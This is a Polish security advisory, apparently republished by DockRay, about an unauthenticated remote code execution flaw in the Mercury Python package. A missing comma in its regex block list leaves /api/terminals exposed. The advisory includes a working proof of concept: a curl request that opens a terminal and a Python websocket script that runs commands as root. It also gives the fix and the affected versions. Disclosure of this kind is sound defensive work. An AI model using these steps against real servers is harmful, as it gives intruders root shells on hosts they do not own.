Krytyczna

Mercury: Nieuwierzytelnione zdalne wykonanie kodu w /api/terminals - obejście kontroli dostępu

  • Ujawniono: 19.10.2026
  • Aktualizacja: 20.10.2026 09:54

Podsumowanie

Brakujący przecinek na liście BLOCKED_PATTERNS w mercury_app/block_handler.py powoduje, że reguły blokowania nie obejmują punktu końcowego /api/terminals. W rezultacie nieuwierzytelniony atakujący może uruchomić pełną, interaktywną powłokę na poziomie systemu operacyjnego na hoście, na którym działa Mercury.

Szczegóły

Lista blokowanych ścieżek w mercury_app/block_handler.py jest zdefiniowana w następujący sposób:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Brakujący przecinek między pierwszą a drugą linią powoduje połączenie tych reguł przez Pythona. W efekcie rzeczywista lista blokad wygląda tak:

/lab...(?:/.*)?/api/terminals(?:/.*)? (pierwsze dwie linie połączone ze sobą) /api/shutdown(?:/.*)? /files(?:/.*)?

Bezpośrednie żądanie skierowane do /api/terminals nie pasuje do żadnej z reguł listy blokowania w 3 i dlatego nie jest blokowane. Trafia ono do wbudowanego w Jupyter Server API terminala, które uruchamia powłokę systemową dostępną przez połączenie WebSocket. Do przeprowadzenia ataku nie jest wymagane uwierzytelnienie, konto, sesja ani żaden wcześniejszy dostęp do aplikacji Mercury.

PoC

Testy przeprowadzono na lokalnym wdrożeniu Dockera (https://runmercury.com/deploy/dockerfile/), Mercury w wersji 3.2.3, domyślna konfiguracja).

Krok 1 - uruchomienie terminala:

bash
curl -i -X POST http://localhost:8888/api/terminals

Odpowiedź: {"name": "1", "last_activity": "..."}

Krok 2 - nawiązanie połączenia z terminalem i wykonywanie poleceń:

python
python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Zaobserwowany wynik:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Potwierdza to pełny, interaktywny dostęp do powłoki roota bez jakiegokolwiek uwierzytelnienia lub uprzedniego dostępu.

Wpływ

  • Poufność: pełny dostęp do odczytu dowolnego pliku, do którego proces Mercury ma dostęp (notatniki, przesłane dane, zmienne środowiskowe, poświadczenia/tajemnice).
  • Integralność: atakujący może modyfikować lub usuwać dowolne pliki, w tym notatniki udostępniane innym użytkownikom.
  • Dostępność: atakujący może wyłączyć lub doprowadzić do awarii serwera/kontenera.
  • Ruch boczny (lateral movement): uzyskana powłoka może posłużyć jako przyczółek do atakowania innych systemów dostępnych w sieci hosta.

Podatność może zostać wykorzystana przez dowolnego klienta sieciowego, który ma dostęp do serwera Mercury, w tym z poziomu publicznego Internetu, jeśli usługa została wdrożona bez dodatkowych mechanizmów kontroli dostępu (VPN, uwierzytelnianie na reverse-proxy, firewall).

Poprawka

Dodanie brakującego przecinka, tak aby /api/terminals stanowiło niezależną regułę na liście blokad:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Co trzeba zrobić

Zaktualizuj pakiet Mercury do wersji 3.2.4 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) mercury >= 3.0.0, < 3.2.4 3.2.4

Odnośniki

Ocena CVSS 10/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-185, CWE-284
Platforma
Python (PyPI)
Paczka
mercury
Ujawniono
19.10.2026
Aktualizacja
20.10.2026 09:54

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-f8c7-rwf9-fmgm - CC BY 4.0

Historia podatności: mercury

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
2
Pierwsza → ostatnia
10.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2

Ujawnienia w latach

  1. 2026: 2
  1. Mercury: Nieuwierzytelnione zdalne wykonanie kodu w /api/terminals - obejście kontroli dostępu ten wpis
    Krytyczna · 10.0 CVE-2026-111057 >= 3.0.0, < 3.2.4 3.2.4
  2. Krytyczna · 9.8 CVE-2026-111058 < 3.2.6 3.2.6

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.